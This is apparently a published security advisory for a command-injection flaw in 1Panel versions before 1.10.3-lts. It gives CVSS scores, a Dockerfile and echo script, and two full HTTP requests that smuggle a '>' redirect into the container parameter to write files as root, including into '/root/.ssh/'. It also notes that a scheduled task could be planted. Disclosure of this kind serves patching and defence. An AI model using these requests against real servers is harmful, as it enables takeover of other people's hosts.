CVE-2024-34352 – github.com/1panel-dev/1panel

Package

Manager: go
Name: github.com/1panel-dev/1panel
Vulnerable Version: >=0 <1.10.3-lts

Severity

Level: Medium

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:H

EPSS: 0.0244 pctl0.8459

Details

1Panel arbitrary file write vulnerability ### Summary There are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs. We can use the following mirror configuration write symbol `>` to achieve arbitrary file writing ### PoC Dockerfile ``` FROM bash:latest COPY echo.sh /usr/local/bin/echo.sh RUN chmod +x /usr/local/bin/echo.sh CMD ["echo.sh"] ``` echo.sh ``` #!/usr/local/bin/bash echo "Hello, World!" ``` Build this image like this, upload it to dockerhub, and then 1panel pulls the image to build the container Send the following packet, taking care to change the containerID to the malicious container we constructed ``` GET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Ftmp%2F1&since=all&tail=100&follow=true HTTP/1.1 Host: xxxx:42713 Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36 Upgrade: websocket Origin: http://xxx:42713 Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d Sec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA== ``` Then you can write any customized file to, for example, a ssh key, and generally the application is run with root privileges ``` GET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Froot%2F.ssh%2f1&since=all&tail=100&follow=true HTTP/1.1 Host: xxx:42713 Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36 Upgrade: websocket Origin: http://xxx:42713 Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d Sec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA== ``` Or write a timed task to execute any command. ### Impact The ability to write arbitrary files on the host where the service is deployed can lead to a host takeover

Metadata

Created: 2024-05-09T15:14:24Z
Modified: 2025-02-07T17:47:10Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/05/GHSA-f8ch-w75v-c847/GHSA-f8ch-w75v-c847.json
CWE IDs: ["CWE-77"]
Alternative ID: GHSA-f8ch-w75v-c847
Finding: F422
Auto approve: 1